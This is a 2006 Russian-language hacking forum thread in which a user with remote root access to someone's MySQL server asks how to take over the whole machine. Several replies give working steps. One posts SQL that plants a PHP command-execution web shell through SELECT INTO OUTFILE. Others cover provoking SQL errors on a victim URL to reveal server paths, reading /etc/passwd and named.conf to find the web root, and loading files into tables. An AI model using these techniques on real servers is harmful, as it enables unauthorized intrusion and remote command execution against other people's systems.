Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   Зашёл удолёно на MySql под root. Подскажите как захватить сервак. (https://forum.antichat.xyz/showthread.php?t=20114)

faust45 04.06.2006 00:50

Зашёл удолёно на MySql под root. Подскажите как захватить сервак.
 
Я думал скрипт залить но как я потом его вызову ?
Думал может в таблицы какието файлы по заливать а потом почитать их но как
заливать данные из таблиц
Помогите пожалуйста.

Desr0w 04.06.2006 00:53

CREATE TABLE `shell` (s TEXT);
INSERT INTO `shell` values ('<? passthru("$cmd"); ?>');
SELECT `s` INTO OUTFILE '/svoi/puti/k/saity/shell.php' FROM `shell`;
DROP TABLE `shell`;

faust45 04.06.2006 01:02

ето ты конечно ловко придумал:
SELECT `s` INTO OUTFILE '/svoi/puti/k/saity/shell.php' FROM `shell`;

только вот как узнать полные пути к катологам в которых разрешено выполнение скриптов?

SanyaX 04.06.2006 05:24

Попробуй на самом серваке скрипты пощупать. Может удача улыбнёться и ты увидишь северный путь :d

SanyaX 04.06.2006 05:38

У меян короче такой же косяк. Я короче путь знаю всё когда прописываю выдаёт следующее "You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near '; INSERT INTO `shell` values (''); SEL". Я в скулях особо не разбираюсь но скажите мне что за ошибка?

Desr0w 04.06.2006 05:38

victim.ru/check.php=into
Это просто глупый пример,попробуй вместо into подставить ' ,если будет ошибка узнаешь часть серв. пути.
victim.ru/check.php='

K[o]S 04.06.2006 09:48

Цитата:

Сообщение от SanyaX
У меян короче такой же косяк. Я короче путь знаю всё когда прописываю выдаёт следующее "You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near '; INSERT INTO `shell` values (''); SEL". Я в скулях особо не разбираюсь но скажите мне что за ошибка?

INSERT INTO `shell` values ('<? passthru("$cmd"); ?>');
замени на
INSERT INTO `s` values ('<? passthru("$cmd"); ?>');

SanyaX 04.06.2006 10:45

Цитата:

Сообщение от K[o]S
INSERT INTO `shell` values ('<? passthru("$cmd"); ?>');
замени на
INSERT INTO `s` values ('<? passthru("$cmd"); ?>');

А разницы? лучше не стало такая же ошибка. Использую скрипт от rst.

Trinux 04.06.2006 10:49

2 SanyaX
версия твоего мускуля не поддерживает выполнение нескольких sql запросов через ; вот и все... насколько я понимаю

ZaCo 04.06.2006 11:44

ну можно например из /etc/passwd узнать путь к апачу. оттуда по всем извесным относительным путям conf/httpd.conf узнаешь путь к директории со скриптами. санякс пока ни одна версия мускля не обрабатывает запрос после ; по-крайней мере пхп библиотека для работы с мускл сервером за один mysql_query этого не позволяет.

faust45 05.06.2006 14:22

Уважаемий ZaCo
Разьясните пожалуйста мне как из /etc/passwd узнать путь к апачу.

faust45 05.06.2006 14:33

Да и ещё вопросик, я слышал что в таблицы(MySql) Даные можно заливать из файлов.

Подскажите как?

faust45 05.06.2006 17:29

Кажется я нашёл ответы на свои вопросы.
http://www.rst.void.ru/forum/viewtopic.php?t=2437

faust45 05.06.2006 17:30

Но может у когото будут дополнения.
Буду рад услышать.

ZaCo 05.06.2006 18:47

в етк\пассвд хранятся пути к каталогам пользователей системы. дабы повысить безопасность каждому домону лучше выдавать свою ограниченную учетную запись. апач же обычно так и запускают, поэтому в большенстве случаев можно определить путь к каталогу апача.

K[o]S 05.06.2006 19:06

Цитата:

Сообщение от faust45
Уважаемий ZaCo
Разьясните пожалуйста мне как из /etc/passwd узнать путь к апачу.

Там есть домашняя директория юзера apach но наивно палагать что тебе можно читать httpd.conf
посмотри лучше в /etc/named.conf сопоставь с данными из /etc/passwd если есть чтото общее ;) то заливай шел и через сайт ломись

http://www.mysql.ru/docs/man/LOAD_DATA.html

Удачи !

faust45 05.06.2006 21:35

Всем большое спасибо!

при попытке читать /etc/named.conf пишет Can't get stat
А вот /etc/passwd читает!!!!!
Ну буду копать теперь есть материлы к размышлению!!!

Кстате я хотел узнать на счет ответсвенности за действия подобного рода........
может поделитесь опытом????

limpompo 06.06.2006 11:37

locate httpd.conf
find / -name httpd.conf


Enjoy....


Время: 18:55